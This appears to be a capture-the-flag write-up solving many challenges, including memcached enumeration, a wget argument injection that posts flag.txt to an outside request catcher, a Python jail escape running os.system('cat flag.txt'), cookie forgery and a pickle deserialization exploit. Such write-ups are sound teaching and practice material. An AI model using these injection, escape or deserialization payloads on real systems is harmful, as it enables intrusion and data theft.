Starting Nmap 7.80 ( ) at 2021-02-14 10:42 MST
Nmap scan report for
Host is up (0.055s latency).

11211/tcp open  memcache

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

Let’s connect to the port using netcat with nc 11211. This is a memcached server, so we need some way to enumerate the keys. Quick search gives us this sequence:

stats items
STAT items:3:number 1

stats cachedump 3 1
ITEM valentineschallengeisawesome [55 b; 0 s]

get valentineschallengeisawesome
VALUE valentineschallengeisawesome 0 55

Was not familiar with this encoding, based on hint in server plus trying random stuff on Cyberchef, figured out that this is ROT47-encoded. Decoding gives us:


My friend cropped a paper with a flag in it!

Can you recover it?

Inside the zip there are 100 PNG files named flag_N.png. Use ImageMagick to recombine them with montage -mode concatenate -tile 10x10 flag_*.png flag.png

Cropped Challenge Output
Cropped Challenge Output


As promised, a web challenge.

This site is operating a “WGET UNOFFICIAL API” where you can append a ?wget= query string parameter to have the server make a request for you. Used Request Catcher to catch these requests and print their contents. Confirmed using the provided URL that the server is making requests, and that the user agent is indeed wget.

Figured there might be some command injection here, so tried adding a --post-file=flag.txt argument to the wget parameter:

We see that a post request is made, and get:

What an enigma

My friend sent me this enigma. Can you get his secret?

The flag is not in ictf{*+} format.

Submit it without spaces and in lowercase.


Plug into CyberChef with the default enigma settings.


I heard you like pyjails, try this one! (flag is at flag.txt)

From the provided source code, we see that we have to escape a Python jail where all ASCII letters are blacklisted.

Searching the Python documentation for a hint as to how to approach this, found this note:

All identifiers are converted into the normal form NFKC while parsing; comparison of identifiers is based on NFKC.

Armed with this knowledge, let’s construct a payload to import the os module and cat our flag (could also just do print(open("flag.txt").read()), but we can’t get a shell that way!) We want to achieve __import__("os").system("cat flag.txt"). For the __import__ and system identifiers, used a generator to come up with non-ASCII equivalents. For the strings, encoded them using octal escapes.

Our final payload is:


Sending this to the interpreter, we get:

Addictive RSA

I’m bad at creating descriptions.

Just do your best.

We are given some parameters for RSA plus the extra information that p + q = x for a given constant x. The intended solution here I think is to compute φ(n) = (p - 1)(q - 1) = pq - p - q + 1 = n - x + 1. However, the quicker route for me was to copy the solve script from last round’s Weird RSA and input the new values. Solving for p and q and plugging into RsaCtfTool, we get:


Do you like pies? Order a cherry pie on this buggy website.

Similar to cookie-sale and chocolate-sale, we can place an order but only for an apple pie. Examining cookies, we have an order cookie set to pie=apple and a signature cookie set to QmpmTEExVlFUQTVGdVNDYnxwaWU9YXBwbGU=. Base64 decoding the cookie, we see it decodes to BjfLA1VQTA5FuSCb|pie=apple.

Let’s try setting pie=cherry with the same prefix and re-encoding it. Setting order to pie=cherry and signature to QmpmTEExVlFUQTVGdVNDYnxwaWU9Y2hlcnJ5 gets us the flag:

What a cold day

You don’t need descriptions.

Have fun :)


Base64-decoded the output, see a bunch of (fake) flags. Tried them all, got made fun of by Et3rnos . base64 -d input | xxd shows a bunch of whitespace at the end of the first flag. Tried pulling this out and manipulating in Python, but then saw a hint that the title refers to a tool.

Found SNOW, compiled and ran against the decoded output.


Let n be the number of ways can I distribute 100 distinguishable balls in 4 distinguishable bins. What is n mod 10000000000000000000000? Wrap your answer in ictf.

python -c 'print(f"ictf{{{pow(4, 100, 10000000000000000000000)}}}")'


Timmy was messing around with this image, but he went a bit too far! Could you help him recover the original image?

We are given this distorted image as an input:

whirlwinds Challenge Input
whirlwinds Challenge Input

Let’s take this into GIMP and use Filters -> Distorts -> Whirl and Pinch to reveal the flag:

whirlwinds Challenge Output
whirlwinds Challenge Output

Manual Encryption

My friend send me something that looks like spammed letters.


print("ikyactwltnalfqpo{ntoorksuqlftjgjoooofejfikkedmvneigkaifmsoqq}"[::4]) gives us:

You can Hide but you can’t run from me

I don’t really need descriptions are necessary. You can do it with the title.

The challenge input is here

You can Hide but you can't run from me Challenge Input
You can Hide but you can't run from me Challenge Input

This is a steganography challenge, “Hide” is capitalized in the title, and we know it was made by Et3rnos by SSHing into Kali from his phone .

Let’s infer steghide was used from this, and try stegseek and see what we get:

stegseek -wl rockyou.txt -sf GetImage.jpeg -xf out.txt
StegSeek version 0.5
Progress: 11.76% (16454477 bytes)

[i] --> Found passphrase: "doom"
[i] Original filename: "nice.txt"
[i] Extracting to "out.txt"

Examining the output, we get:

Reversed Addictive RSA

See Addictive RSA

Broken QR

This looks like a retangular qr code with no corner squares…

The challenge input is here

Broken QR Challenge Input
Broken QR Challenge Input

Despite the text in the description, we note that this image has 24 “pixels” per row, and, viewing each row as 3 bytes, the topmost bit in every byte is 0. This indicates that this image might be ASCII characters converted to black and white pixels and packed into an image.

Wrote a script to decode this:

from PIL import Image

im ="chall.png").convert("1")
im = im.resize((im.width // 16, im.height // 16), Image.NEAREST)

s = ""
for y in range(im.height):
    for x in range(0, im.width, 8):
        b = 0
        for i in range(8):
            p = im.getpixel((x + i, y))
            b |= (1 << (7 - i)) if not p else 0

        s += chr(b)


Decoding gives us:

Pickles for the win

My mom keeps telling me to eat my pickles.

Can you prove her they are not safe?



Looking at the provided source, we see the server is a Flask app which unpickles a Base64-encoded user-provided string.

import pickle
from flask import Flask, request
from base64 import b64decode

#flag = os.getenv("FLAG")
app = Flask(__name__)

def Index():
  pic = request.args.get("pickle")
    return pickle.loads(b64decode(pic))
    return "An error occured.""", 8080)

Pickle is known to be unsafe, let’s construct a payload which will read the flag from the environment.

import base64
import pickle

class Exploit:
    def __reduce__(self):
        return eval, ("__import__('os').getenv('FLAG')",)


Navigating to , we get:

Note: all exercise materials are the property of their respective authors, reproduced here for educational purposes.

Solutions and related code are covered by the license noted in the Terms of Use.